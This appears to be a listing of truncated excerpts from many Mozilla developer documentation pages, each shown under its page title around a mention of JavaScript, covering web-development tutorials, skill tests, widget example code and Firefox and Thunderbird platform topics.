JavaScript, etc.) are defined in giant documents called specifications (or simply "specs"), which are published by standards organizations (such as the W3C, WHATWG, ECMA, or Khronos) and define precisely how those technologies are supposed to behave. CSS is no different -- it is developed by a group within the W3C called the CSS Working Group. This group is made of representatives of browser vendors and ot...
Learn to style HTML using CSS - Learn web development
? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should learn the basics of HTML before attempting any CSS. We recommend that you work through our Introduction to HTML module first. In that module, you will learn about: CSS, starting with the Introduction to CSS module More advanced HTML modules
JavaScript, and how to use it to add dynamic functionality to web pages Once you understand the fundamentals of HTML, we recommend that you learn HTML and CSS at the same time, moving back and forth between the two topics. This is because HTML is far more interesting and much more fun to learn when you apply CSS, and you can't really learn CSS without knowing HTML. Before starting this topic, you should ...
How do you make sure your website works properly? - Learn web development
ot an "l": The address cannot be found. Indeed. 404 errors Many times the error just results just from a typo, but sometimes maybe you either forgot to upload a resource or you lost your network connection while you were uploading your resources. First check the spelling and accuracy of the file path, and if there's still a problem, upload your files again. That will likely fix the problem.
JavaScript errors Someone (possibly you) added a script to the page and made a mistake. This will not prevent the page from loading but you will feel something went wrong. Open the console (Tools ? Web developer ? Web Console) and reload the page: In this example, we learn (quite clearly) what the error is, and we can go fix it (we will cover
JavaScript in another series of articles). More things to c...
What is a URL? - Learn web development
he <iframe> element. Note: When specifying URLs to load resources as part of a page (such as when using the <script>, <audio>, <img>, <video>, and the like), you should generally only use HTTP and HTTPS URLs, with few exceptions (one notable one being data:; see Data URLs). Using FTP, for example, is not secure and is no longer supported by modern browsers. Other technologies, such as CSS or
JavaScript, use URLs extensively, and these are really the heart of the Web. Absolute URLs vs relative URLs What we saw above is called an absolute URL, but there is also something called a relative URL. Let's examine what that distinction means in more detail. The required parts of a URL depend to a great extent on the context in which the URL is used. In your browser's address bar, a URL doesn't have a...
Example 2 - Learn web development
#f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #FFFFFF; }
JavaScript Content window.addEventListener("load", function () { var form = document.querySelector('form'); form.classList.remove("no-widget"); form.classList.add("widget"); }); Result for JS No JS HTML Content <form class="no-widget"> <select name="myFruit"> <option>Cherry</option> <option>Lemon</option> <option>Banana</option> <option>Strawberry</option> <option>App...
Example 3 - Learn web development
f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #FFFFFF; }
JavaScript Content // ------- // // HELPERS // // ------- // NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); } // -------------------- // // Function definitions // // -------------------- // function deactivateSelect(select) { if (!select.classList.contains('active')) return; var optList = select.querySelector('.optList'); optList.classList.add...
Example 4 - Learn web development
f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #FFFFFF; }
JavaScript Content // ------- // // HELPERS // // ------- // NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); } // -------------------- // // Function definitions // // -------------------- // function deactivateSelect(select) { if (!select.classList.contains('active')) return; var optList = select.querySelector('.optList'); optList.classList.add...
Example 5 - Learn web development
f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #FFFFFF; }
JavaScript Content // ------- // // HELPERS // // ------- // NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); } // -------------------- // // Function definitions // // -------------------- // function deactivateSelect(select) { if (!select.classList.contains('active')) return; var optList = select.querySelector('.optList'); optList.classList.add...
How to structure a web form - Learn web development
le Forms: A Form Usability Checklist Previous Overview: Forms Next In this module Your first form How to structure a web form Basic native form controls The HTML5 input types Other form controls Styling web forms Advanced form styling UI pseudo-classes Client-side form validation Sending form data Advanced Topics How to build custom form controls Sending forms through
JavaScript Property compatibility table for form widgets ...
Sending form data - Learn web development
to your server must be checked and sanitized. Always. No exception. Escape potentially dangerous characters. The specific characters you should be cautious with vary depending on the context in which the data is used and the server platform you employ, but all server-side languages have functions for this. Things to watch out for are character sequences that look like executable code (such as
JavaScript or SQL commands). Limit the incoming amount of data to allow only what's necessary. Sandbox uploaded files. Store them on a different server and allow access to the file only through a different subdomain or even better through a completely different domain. You should avoid many/most problems if you follow these three rules, but it's always a good idea to get a security review performed by a...
Test your skills: HTML5 controls - Learn web development
se a maximum number of people to invite to their party. Implement a basic slider control to go along with the provided label. Give it a minimum value of 1, maximum value of 30, and initial value of 10. Create a corresponding output element to put the current value of the slider into. Give it a class of invite-output, and semantically associate it with the input. If you do this correctly, the
JavaScript included on the page will automatically update the output value when the slider is moved. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are s...
CSS basics - Learn web development
e.) If you get stuck, you can always compare your work with our finished example code on GitHub. In this exercise, we have just scratched the surface of CSS. To go further, see Learning to style HTML using CSS. Previous Overview: Getting started with the web Next In this module Installing basic software What will your website look like? Dealing with files HTML basics CSS basics
JavaScript basics Publishing your website How the web works ...
HTML basics - Learn web development
here): If you get stuck, you can always compare your work with our finished example code on GitHub. Here, we have only really scratched the surface of HTML. To find out more, go to our Learning HTML topic. Previous Overview: Getting started with the web Next In this module Installing basic software What will your website look like? Dealing with files HTML basics CSS basics
JavaScript basics Publishing your website How the web works ...
How the Web works - Learn web development
Protocol is an application protocol that defines a language for clients and servers to speak to each other. This is like the language you use to order your goods. Component files: A website is made up of many different files, which are like the different parts of the goods you buy from the shop. These files come in two main types: Code files: Websites are built primarily from HTML, CSS, and
JavaScript, though you'll meet other technologies a bit later. Assets: This is a collective name for all the other stuff that makes up a website, such as images, music, video, Word documents, and PDFs. So what happens, exactly? When you type a web address into your browser (for our analogy that's like walking to the shop): The browser goes to the DNS server, and finds the real address of the ser...
What will your website look like? - Learn web development
utton in the panel at the bottom of the page ("*" depends on how many fonts you selected). In the popup box, you can see and copy the lines of code Google gives you into your text editor to save for later. Previous Overview: Getting started with the web Next In this module Installing basic software What will your website look like? Dealing with files HTML basics CSS basics
JavaScript basics Publishing your website How the web works ...
Getting started with the Web - Learn web development
you, HTML basics provides enough information to make you familiar with HTML. CSS basics Cascading Stylesheets (CSS) is the code that you use to style your website. For example, do you want the text to be black or red? Where should content be drawn on the screen? What background images and colors should be used to decorate your website? CSS basics takes you through what you need to get started.
JavaScript basics
JavaScript is the programming language that you use to add interactive features to your website. Some examples could be games, things that happen when buttons are pressed or data is entered in forms, dynamic styling effects, animation, and much more.
JavaScript basics gives you an idea of what is possible with this exciting language, and how to get started. Publishing your website Once ...
Use HTML to solve common problems - Learn web development
can be used in many different ways: How to create a hyperlink How to create a table of contents with HTML Images & multimedia How to add images to a webpage How to add video content to a webpage Scripting & styling HTML only sets up document structure. To solve presentation issues, use CSS, or use scripting to make your page interactive. How to use CSS within a webpage How to use
JavaScript within a webpage Embedded content How to embed a webpage within another webpage How to add Flash content within a webpage Uncommon or advanced problems Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face: Forms Forms are a complex HTML structure made to send data from a...
Document and website structure - Learn web development
ge. Secondary links, etc., would not go in the navigation. <footer> represents a group of end content for a page. Non-semantic wrappers Sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. Sometimes you might want to just group a set of elements together to affect them all as a single entity with some CSS or
JavaScript. For cases like these, HTML provides the <div> and <span> elements. You should use these preferably with a suitable class attribute, to provide some kind of label for them so they can be easily targeted. <span> is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. For exam...
Images in HTML - Learn web development
The CSS background-image property, and the other background-* properties, are used to control background image placement. For example, to place a background image on every paragraph on a page, you could do this: p { background-image: url("images/dinosaur.jpg"); } The resulting embedded image, is arguably easier to position and control than HTML images. So ...
Assessment: Structuring planet data - Learn web development
arting point To start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and
JavaScript into one of these online editors. If the online editor you are using doesn't have separate
JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page. Project brief You are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figures...
Structuring the web with HTML - Learn web development
the HTML basics article is also covered in our Introduction to HTML module, albeit in a lot more detail. After learning HTML, you can then move on to learning about more advanced topics such as: CSS, and how to use it to style HTML (for example alter your text size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other visual effects.)
JavaScript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make UI elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) Modules This topic contains the following modules, in a suggested order for working through them. You should definitely start with the first one. Introd...
Test your skills: Conditionals - Learn web development
nload the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). Conditionals 1 In this task you are provided with two variables: season -- contains a string that says what the current season is. response -- begins uninitialized, but is later used to store a reponse that will be printed to the output panel. We want you to create a conditional that checks whether season contains the string "summer", an...
Test your skills: Functions - Learn web development
nload the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). DOM manipulation: considered useful Some of the questions below require you to write some DOM manipulation code to complete them -- such as creating new HTML elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via
JavaScript. We haven't explicitly taught this yet ...
Test your skills: Loops - Learn web development
stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. DOM manipulation: considered useful Some of the questions below require you to write some DOM manipulation code to complete them -- such as creating new HTML elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via
JavaScript. We haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what DOM APIs you need to successfully answer the questions. A good starting place is our Manipulating documents tutorial. Loops 1 In our first looping task we want you start by creating a simple loop that goes through all the items in the pro...
Test your skills: Arrays - Learn web development
nload the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). Arrays 1 Let's start off with some basic array practice. In this task we'd like you to create an array of three items, stored inside a variable called myArray. The items can be anything you want -- how about your favourite foods or bands? Next, modify the first two items in the array using simple bracket notation and assignment. Then add a ne...
Test your skills: Math - Learn web development
This aim of this skill test is to assess whether you've understood our Basic math in
JavaScript -- numbers and operators article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). Math 1 Let's start out by testing your knowledge of basic math operators. You will have to create four numeric val...
Test your skills: Strings - Learn web development
This aim of this skill test is to assess whether you've understood our Handling text -- strings in
JavaScript and Useful string methods articles. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). Strings 1 In our first strings task, we start off small. You already have half of a famous quote i...
Test your skills: variables - Learn web development
ownload the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). Variables 1 In this task we want you to: Declare a variable called myName. Initialize myName with a suitable value, on a separate line (you can use your actual name, or something else). Declare a variable called myAge and initialize it with a value, on the same line. Try updating the live code below to recreate the finished example: ...
Test your skills: Object basics - Learn web development
This aim of this skill test is to assess whether you've understood our
JavaScript object basics article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's
JavaScript console, in the case of the downloadable version). Object basics 1 In this task you are provided with an object literal, and your tasks are to Store the value of the name property inside ...
CSS performance optimization - Learn web development
f the document tree. This allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the DOM and not the entire page. Conclusion Previous Overview: Performance Next In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video
JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance See Also CSS animation performance ...
HTML performance features - Learn web development
HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance See Also The <picture> Element The <video> Element The <source> Element The <img> srcset attribute Responsive images Preloading content with rel="preload" - (https://w3c.github.io/preload/ ) ...
The business case for web performance - Learn web development
ons, etc.) is directly related to how to web performance. (source needed). Area of conflict - not prioritizing web performance, but expecting good business metrics (see the three above). Previous Overview: Performance In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video
JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
Multimedia: video - Learn web development
her website files, and always worthy of attention. This article explains how to optimize website video through reducing file size, with (HTML) download settings, and with streaming. Previous Overview: Performance Next In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video
JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
Properly configuring server MIME types - Learn web development
ed by web servers and web applications. What are MIME types? MIME types describe the media type of content either in email or served by web servers or web applications and are intended to help guide a web browser in how the content is to be processed and displayed. Examples of MIME types are: text/html for normal web pages text/plain for plain text text/css for Cascading Style Sheets text/
javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for Java applets application/pdf for PDF documents Technical Background Registered values for MIME types are available in IANA | MIME Media Types. The HTTP specification defines a superset of MIME which is used to describe the media types used on the web. Why are correct MIME types important? If t...
Server-side website programming first steps - Learn web development
igilance in all aspects of website design and usage. This introductory article won't make you a website security guru, but it will help you understand the first important steps you can take to protect your web application against the most common threats. Note: This topic deals with server-side frameworks, and how to use them to create websites. If you are looking for information on client-side
JavaScript frameworks, consult our Understanding client-side
JavaScript frameworks module. Assessments This "first steps" module doesn't have any assessment because we haven't yet shown you any code. We do hope that at this point you have a good understanding of what sorts of functionality you can deliver using server-side programming, and that you have made a decision about what server-side web framewor...
Server-side website programming - Learn web development
de programming. Most major websites use some kind of server-side technology to dynamically display data as required. For example, imagine how many products are available on Amazon, and imagine how many posts have been written on Facebook. Displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using HTML, CSS, and
JavaScript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on Amazon. In the modern world of web development, learning about server-side development is highly recommended. Learning pathway Getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perfo...
Understanding client-side web development tools - Learn web development
ome of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line. We finish up by providing a complete toolchain example showing you how to get productive. Get started now, with our "Client-side tooling overview" Prerequisites You should really learn the basics of the core HTML, CSS, and
JavaScript languages first before attempting to use the tools detailed here. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Guides 1. Client-side tooling overview In this article we provide an overview of modern web tooling, what kinds of tools are available and where you'll mee...
omni.ja (formerly omni.jar)
rome manifest file. /chrome/ User interface files for the application /chrome/localized.manifest Manifest of localized content; referenced by the main chrome manifest file. /chrome/nonlocalized.manifest Manifest of non-localized content; referenced by the main chrome manifest file. /components/ XPCOM components the application relies upon. /defaults/ Default preference files. /modules
JavaScript code modules. /res/ Miscellaneous resource files. ...
Accessibility Information for Core Gecko Developers
These widgets are often not even keyboard focusable, and assistive technologies do not understand these widgets. This document shows several interactive desktop-style widgets that are accessible by keyboards and assistive technologies, and outlines a plan being developed by IBM, Mozilla, and the WAI Protocols and Formats Working Group (PFWG) to address the issue of DHTML accessibility. ...
CSUN Firefox Materials
owser experience as you see fit. Extensions can easily be installed or removed with the extension manager in the Tools menu. Here are some examples of accessible extensions, although there are hundreds more to try (thank you to the GW Micro knowledge base for some of this information): Adblock Plus removes ads (and other objects, like banners) from web pages Greasemonkey lets you add bits of
Javascript ("user scripts") to any web page to change its behavior. In much the same way that user CSS lets you take control of a web page's style, user scripts let you easily control any aspect of a web page's design or interaction. We expect enterprising script writers will eventually fix annoying accessibility issues in popular web pages, and (hopefully) share their tricks with everyone! IE Tab allows ...
Mozilla’s UAAG evaluation report
audio or video 3.3 Toggle animated/blinking text. (P1) P The following line can be added to a user's prefs.js file to control blinking: user_pref("browser.blink_allowed", false); Bug 89144 has been filed to expose this pref in the UI. Mozilla doesn't support <marquee> by default. 3.4 Toggle scripts. (P1) G Preferences, Advanced, Scripts & Windows - Enable
Javascript For When toggled off, we don't notify the user when a page is loaded with scripts 3.5 Toggle content refresh. (P1) NI Mozilla has no features for toggling refreshes 3.6 Toggle redirects. (P2) NI Mozilla has no features for toggling redirects 3.7 Toggle images. (P2) P Our interface for image toggling needs redesign Unfortunately, there are quite...
Add-ons
Among other things, an add-on could: Change the appearance or content of particular websites Modify the Firefox user interface Add new features to Firefox There are several types of add-ons, but the most common type are extensions. Developing extensions In the past, there were several toolsets for developing Firefox extensions, but as of November 2017, extensions must be built using WebExtensions APIs. ...
Adding a new event
m of FooEvent.cpp in the global namespace. Modify EventDispatcher::CreateEvent() If your DOM event implementation is generatable or you're in case 3, you can skip this section. The first half of EventDispatcher::CreateEvent() is a factory to create a DOM event instance from internal event instance. You need to modify this. The last half of it is the implementation of legacy event creator of
Javascript such as: var event = document.createEvent("FooEvent"); If you support this feature, you need to modify here. However, this feature shouldn't be implemented for compabitility with other browsers since web applications should use event constructor. Register each event into EventNameList.h If you're in case 3, you can skip this section. EventNameList.h defines mapping between DOM event name, ...
Android-specific test suites
ndroid-checkstyle, first build Firefox for Android with your changes; then run ./mach android checkstyle This will run the tests and report the results to stdout, as well as produce an HTML report. Disabling one failing test In general, it's not sensible to allow Java code that doesn't observe the existing coding style; in this respect, this job is equivalent to the ESLint jobs that check the
JavaScript coding style throughout the tree. However, the existing configuration can be tweaked and the set of files checked can be modified. Contact information android-checkstyle is currently owned by :mcomella and :nalexander. File tickets in the Firefox for Android product in Bugzilla. android-findbugs Ensures that the code avoids common Java coding errors. Using this suite will allow the code to b...
Benchmarking
but not opt Developer Edition or Beta builds). The poisoning can be disabled by setting the environment variable JSGC_DISABLE_POISONING=1 before starting the browser. Async Stacks Async stacks no longer impact performance since Firefox 78, as bug 1601179 limits async stack capturing to when DevTools is opened. Another option that is on by default in non-release builds is the preference
javascript.options.asyncstack, which provides better debugging information to developers. Set it to false to match a release build. (This may be disabled for many situations in the future. See bug 1280819. Accelerated Graphics Especially on Linux, accelerated graphics can sometimes lead to severe performance problems even if things look ok visually. Normally you would want to leave acceleration enabled wh...
Choosing the right memory allocator
PR_smprintf_free() PL_strdup(), PL_strndup() must be freed with PL_strfree() nsCRT::strdup/nsCRT::strndup must be freed with nsCRT::free Allocating memory within plugins There are special memory allocation routines specifically intended for use from plugins, which must not be used from within Mozilla itself. See Gecko Plugin API Reference:Memory. NPN_MemAlloc NPN_MemFree NPN_MemFlush
JavaScript API memory allocators There are also routines intended for use within the
JavaScript runtime engine (SpiderMonkey). This is the /js/ subtree of the source code. Also, all consumers of the JSAPI must use these routines for allocating memory they plan to pass to the
JavaScript runtime. See JSAPI Reference for further information. JS_malloc() JS_realloc() JS_free() JS_strdup() Arena allocat...
Creating a Login Manager storage module
Storage interface. Register that interface in a specific category. Some work has already been done to integrate the Login Manager with the Mac OS X keychain (bug 106400) and Gnome Keyring Manager (bug 309807). You should start with the existing code if you want to implement that in your extension. To see some debugging output in the console set signon.debug to true using about:config. Sample
JavaScript implementation The following code snippet is a
JavaScript component that implements a dummy nsILoginManagerStorage interface. See How_to_Build_an_XPCOM_Component_in_
Javascript for more details about
JavaScript components. const Cc = Components.classes; const Ci = Components.interfaces; Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); function SampleLoginManagerStorage() {} Sa...
Debugging on Mac OS X
include the Mozilla's .lldbinit, you must at least put settings set target.inline-breakpoint-strategy always in your $HOME/.lldbinit as recommended on Debugging Mozilla with lldb. Using Mozilla-specific lldb commands If you included the .lldbinit when Setting up lldb, you can use Mozilla-specific lldb commands in the console, located in the Debug area of XCode. For example, type js to see the
JavaScript stack. For more information, see Debugging Mozilla with lldb. Debugging e10s child processes Using XCode to debug child processes created by an e10s-enabled browser is a little trickier than debugging a single-process browser, but it can be done. These directions were written using XCode 6.3.1 Complete all the steps above under "Creating the Project" From the "Product" menu, ensure the sche...
Debugging
ject as large as Mozilla can be a daunting task. Fortunately, over the years, Mozilla developers have come up with not just technologies and features to help you debug code, but have devised tips and techniques that can help too. Also available are assorted tools that you can use when debugging. Documentation topics Debugging on top of the Mozilla platform Debugging
JavaScript code How to debug
JavaScript code, with a focus on debugging code in the Mozilla project itself. Debugging a XULRunner application Tips and suggestions that will help you debug your XULRunner based application. Debugging update problems Learn how to debug update problems in Mozilla-based applications. Debugging the Mozilla platform Using debuggers with Mozi...
Old Thunderbird build
nt.py checkout Then just re-run the mach command above. This will only recompile files that changed, but it's still a long haul. Rebuilding To build after making changes, run ./mozilla/mach build again. This will only rebuild what is necessary for these changes. It is also possible to rebuild specifically. If you changed C or C++ files, run: ./mozilla/mach build binaries If you changed
JavaScript or XUL files, on Mac OS X or Linux you don't have to rebuild since the files in the object directory are linked to the ones in the source directory. On Windows run: ./mozilla/mach build path/to/dir This is the tricky bit, since you need to specify the directory that installs the files, which may be a parent directory of the changed file's directory. For all other changes run the full rebuild:...
Simple Thunderbird build
pull -u; (cd comm; hg pull -u) Then just re-run the mach command above. This will only recompile files that changed, but it's still a long haul. Rebuilding To build after making changes, run ./mach build again. This will only rebuild what is necessary for these changes. It is also possible to rebuild specifically. If you changed C or C++ files, run: ./mach build binaries If you changed
JavaScript or XUL files, on macOS or Linux you don't have to rebuild since the files in the object directory are linked to the ones in the source directory. On Windows run: ./mach build path/to/dir This is the tricky bit since you need to specify the directory that installs the files, which may be a parent directory of the changed file's directory. For example, to just rebuild the Lightning calendar exte...
ESLint
This automatic linting can happen either while coding, in a code editor, or when using the command line. It also runs on treeherder for every check-in. Running ESLint ESLint comprises of a set of rules that are used to analyse the code for correctness and style consistency. ...
Reviewer Checklist
no logging of URLs or content from which URLs may be inferred. [Fennec: Android Services has Logger.pii() for this purpose (e.g., logging profile dir)]. Tag for privacy review if needed. Resource leaks In Java, memory leaks are largely due to singletons holding on to caches and collections, or observers sticking around, or runnables sitting in a queue. In C++, cycle-collect as needed. If
JavaScript can see your object, it probably needs to be cycle-collected. [Fennec: If your custom view does animations, it's better to clean up runnables in onDetachFromWindow().] Ensure all file handles and other closeable resources are closed appropriately. [Fennec: When writing tests that use PaintedSurface, ensure the PaintedSurface is closed when you're done with it.] Performance impact Check fo...
Experimental features in Firefox
The spec for this API is still being written. The value changes over time depending on what the user is doing, their preferences, and the state of the browser in general. Potential values include allowed (autoplay is currently permitted), allowed-muted (autoplay is allowed but only with no--or muted--audio), and disallowed (autoplay is not allowed at this time). See bug 1506289 for more det...
Limitations of frame scripts
, and you can get the chrome window from that (Note: I'm not really sure how...). nsIAboutModule By default, custom about: pages registered using nsIAboutModule are loaded in the chrome process. This means that you can't access their content from the content process (via XHR, for example). You can change this default in the code you use to register the about: URI. See about: and chrome: URIs.
JavaScript code modules (JSMs) In multiprocess Firefox, a JSM loaded into the content process does not share any state with the same JSM loaded into the chrome process. See the entry in the Limitations on chrome scripts page. ...
Limitations of frame scripts
pages registered by the add-on transparently available in the content process. To avoid the shim: If you need to access the content of your about page from the content process, you need to register the nsIAboutModule in the content process as well as the chrome process. By default, about: pages (except for a small whitelist) are loaded in the chrome process when browsed to from the AwesomeBar.
JavaScript code modules (JSMs) In multiprocess Firefox, a JSM loaded into the content process does not share any state with the same JSM loaded into the chrome process. See the entry in the Limitations on chrome scripts page. ...
Message manager overview
In multiprocess Firefox there are (at least) two processes: the chrome process, also called the parent process, runs the browser UI (chrome) code and code inserted by extensions one or more content processes, also called child processes. These processes run web content. Message managers are designed to enable chrome-privileged
JavaScript code in one process to communicate with chrome-privileged
JavaScript code in a different process. This article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for. At the top level, there are two different sorts of message managers: Frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in t...
Performance
// ... function helper(window, action) { // ... do some work on the window } function doSomething(message) { frameGlobal = message.target result = helper(frameGlobal.content, message.data) frameGlobal.sendAsyncMessage("my-addon:response-from-child", {something: result}) } function addFrame(frameGlobal) { frameGlobal.addMessageListener("my-addon:request-from-parent", doSomething) }
Javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks. But care must be taken to not leak references to the frame script global when it is passed into a JSM. Alternatively the frame's unload event or weak maps can be used to ensure that frames can be cleaned up when their respective tab is closed. Store heavy...
Message manager
They are particularly useful for allowing chrome code, including the browser's code and extension's code, to access web content while the browser is running web content in a separate process. These guides explain how to use message managers in multiprocess Firefox. Note that none of this requires multiprocess Firefox: everything described here will work with single-process Firefox, so the same code will work on both variants. ...
Storage access policy: Block cookies from trackers
d on example.com (e.g. other-tracker.example), nor to other first parties on which tracker.example is embedded (e.g. example.org). Storage access grants extend into the first level of nested contexts, but no further. This means that <iframe>s embedded in the main context of the page and loaded from a domain classified as a tracker will have full access to all storage locations accessible through
JavaScript. Similarly, requests for resources loaded in <iframe>s embedded in the main context of the page will have access to HTTP cookies. However, further nested contexts, including but not limited to those from the origin classified as a tracker, will not be granted storage access. Consider the following embedding scenarios on a top-level page loaded from example.com on which tracker.example has been g...
mozbrowseractivitydone
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: success A Boolean that indicates whether the activity has completed successfully (true) or not (false). Examples var browser = document.querySelector("iframe"); browser.addEventListener("mozbrowseractivitydone", function(event) { if(event.details.success) { console.log('Activity completed successfully'); } else { console.log('Activity not ...
mozbrowserasyncscroll
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: top The scroll top position in CSS pixels of the document within the browser <iframe>. left The scroll left position in CSS pixels of the document within the browser <iframe>. width The width in CSS pixels of the visible part of the document within the browser <iframe>. height The height in CSS pixels of the visible part of the document within the b...
mozbrowsercaretstatechanged
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: rect An object that defines information about the bounding rectangle of the current selection. Its properties are width: The width of the bounding rectangle, in CSS pixels. height: The height of the bounding rectangle, in CSS pixels. top: The top position of the bounding rectangle, in CSS pixels. bottom: The bottom position of the bounding recta...
mozbrowsercontextmenu
rget Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. details The details property returns an anonymous
JavaScript object with the following properties: clientX The X value of the coordinate that was clicked inside the browser <iframe>'s viewport. clientY The Y value of the coordinate that was clicked inside the browser <iframe>'s viewport. systemTargets An array containing one or more MenuSystem objects (see The MenuSystem object, below), containing details of the standard menu(s) that will be shown.
mozbrowsererror
target Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read only Boolean Whether the event normally bubbles or not. cancelable Read only Boolean Whether the event is cancellable or not. details Read only Object A custom object. detail The detail property returns an anonymous
